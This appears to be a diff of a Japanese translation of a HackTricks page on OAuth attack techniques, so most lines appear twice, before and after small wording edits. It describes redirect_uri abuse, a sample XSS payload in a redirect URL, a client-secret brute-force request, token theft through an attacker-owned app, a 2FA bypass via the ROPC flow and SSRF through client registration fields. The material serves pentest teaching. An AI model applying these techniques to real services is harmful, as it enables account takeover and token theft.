2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
```
https://socialmedia.com/auth
?response_type=code
@ -73,17 +73,17 @@ Host: socialmedia.com
### オープンリダイレクト\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトでき、アカウントの乗っ取りを可能にします。
`redirect_uri` はOAuthおよびOpenIDの実装においてセキュリティにとって重要であり、認可後に認可コードなどの機密データが送信される場所を指示します。誤って設定されると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトできる可能性があり、アカウントの乗っ取りを可能にします。
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパスマッチングから、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から、指定されたドメインまたはサブディレクトリ内の任意のURLを受け入れることまで様々です。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン窃盗のためのHTMLインジェクションが含まれます。
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
`redirect_uri` の他にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri` などのOAuthおよびOpenIDパラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、そのサポートはサーバーによって異なります。
OpenIDサーバーをターゲットにする場合、ディスカバリーエンドポイント`**.well-known/openid-configuration**`)は、`registration_endpoint`、`request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
### リダイレクト実装におけるXSS <a href="#bda5" id="bda5"></a>
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがサーバーの応答に反映される可能性があり**、**XSSに対して脆弱である**かもしれません。テストするための可能なペイロード:
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URLがユーザーが認証した後にサーバーのレスポンスに反映される可能性があり、** **XSSに対して脆弱である** 可能性があります。テストするための可能なペイロード:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
@ -110,7 +110,7 @@ OAuthの実装において、**`state`パラメータ**の誤用または省略
### クライアントシークレットブルートフォース
サービスプロバイダーのアイデンティティプロバイダーに対して**クライアントシークレットをブルートフォース**し、アカウントを盗む試みを行うことができます。\
サービスプロバイダーのアイデンティティプロバイダーに対して**クライアントシークレットをブルートフォース**し、アカウントを盗む試みをすることができます。\
ブルートフォースのリクエストは次のようになる可能性があります:
```
POST /token HTTP/1.1
@ -168,17 +168,17 @@ For more detailed info about how to abuse AWS cognito check:
[**この書き込みで述べられているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**コードではなくを受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログインするアプリケーション**を作成できるためです。次に、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**そのアプリケーションに与えられたユーザーのOAuthトークンを取得し、被害者のユーザートークンを使用して被害者のOAuthアプリケーションにログインする**ことができます。
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログインする**(例えば)アプリケーションを作成できるためです。そして、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**そのアプリケーションに与えられたユーザーのOAuthトークンを取得し、被害者のユーザートークンを使用して被害者のOAuthアプリケーションにログインする**ことができます。
{% hint style="danger" %}
したがって、攻撃者がユーザーに自分のOAuthアプリケーションにアクセスさせることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができますが、そのトークンが自分のアプリIDに付与されたかどうかを確認していません
したがって、攻撃者がユーザーに自分のOAuthアプリケーションにアクセスさせることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができるようになります
{% endhint %}
### Two links & cookie <a href="#bda5" id="bda5"></a>
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くようにすることが可能でした。この情報は**クッキーRU**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
このプロンプトを回避するために、**Oauthフロー**を開始するためのタブを開き、**returnUrl**を使用してこのRUクッキーを設定し、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
このプロンプトを回避するために、**Oauthフロー**を開始するためのタブを開き、このRUクッキーを**returnUrl**を使用して設定し、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。すると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
@ -186,13 +186,17 @@ For more detailed info about how to abuse AWS cognito check:
### response\_mode
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供したいかを示すことが可能です:
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q)、最終URLでコードを提供したい場所を示すために**`response_mode`**パラメータを指定すことが可能です:
* `response_mode=query` -> コードはGETパラメータ内に提供されます`?code=2397rf3gu93f`
* `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます`#code=2397rf3gu93f`
* `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供され、その値
* `response_mode=form_post` -> コードは`code`という入力を持つPOSTフォーム内に提供されます
* `response_mode=web_message` -> コードはポストメッセージで送信されます:`window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
[**このブログ記事によると**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96)、これは**ユーザー名**と**パスワード**を使用してOAuthにログインすることを可能にするOAuthフローです。この単純なフロー中に、ユーザーが実行できるすべてのアクションへのアクセスを持つ**トークン**が返される場合、そのトークンを使用して2FAを回避することが可能です。
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
@ -202,16 +206,16 @@ OAuthにおける動的クライアント登録は、セキュリティ脆弱性
**重要なポイント:**
* **動的クライアント登録**は通常`/register`にマッピングされ、`client_name`、`client_secret`、`redirect_uris`、ロゴやJSON Web Key SetsJWKsのURLなどの詳細をPOSTリクエストで受け入れます。
* この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に従い、SSRFに対して脆弱可能性のあるパラメータを含みます。
* この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に従い、SSRFに対して脆弱である可能性のあるパラメータを含みます。
* 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります
* **`logo_uri`**サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが不適切に処理された場合にXSSを引き起こす可能性があります。
* **`jwks_uri`**クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う原因となる可能性があります。
* **`sector_identifier_uri`**:サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
* **`request_uris`**クライアントのために許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
* **`request_uris`**クライアントのために許可されたリクエストURIのリストで、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
**悪用戦略:**
* SSRFは、`logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することで引き起こされる可能性があります。
* `logo_uri`、`jwks_uri`、または`sector_identifier_uri`のパラメータに悪意のあるURLを持つ新しいクライアントを登録することでSSRFを引き起こすことができます。
* `request_uris`を介した直接的な悪用はホワイトリスト制御によって軽減される可能性がありますが、事前に登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを促進することができます。
## OAuth providers Race Conditions
@ -228,8 +232,8 @@ OAuthにおける動的クライアント登録は、セキュリティ脆弱性
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>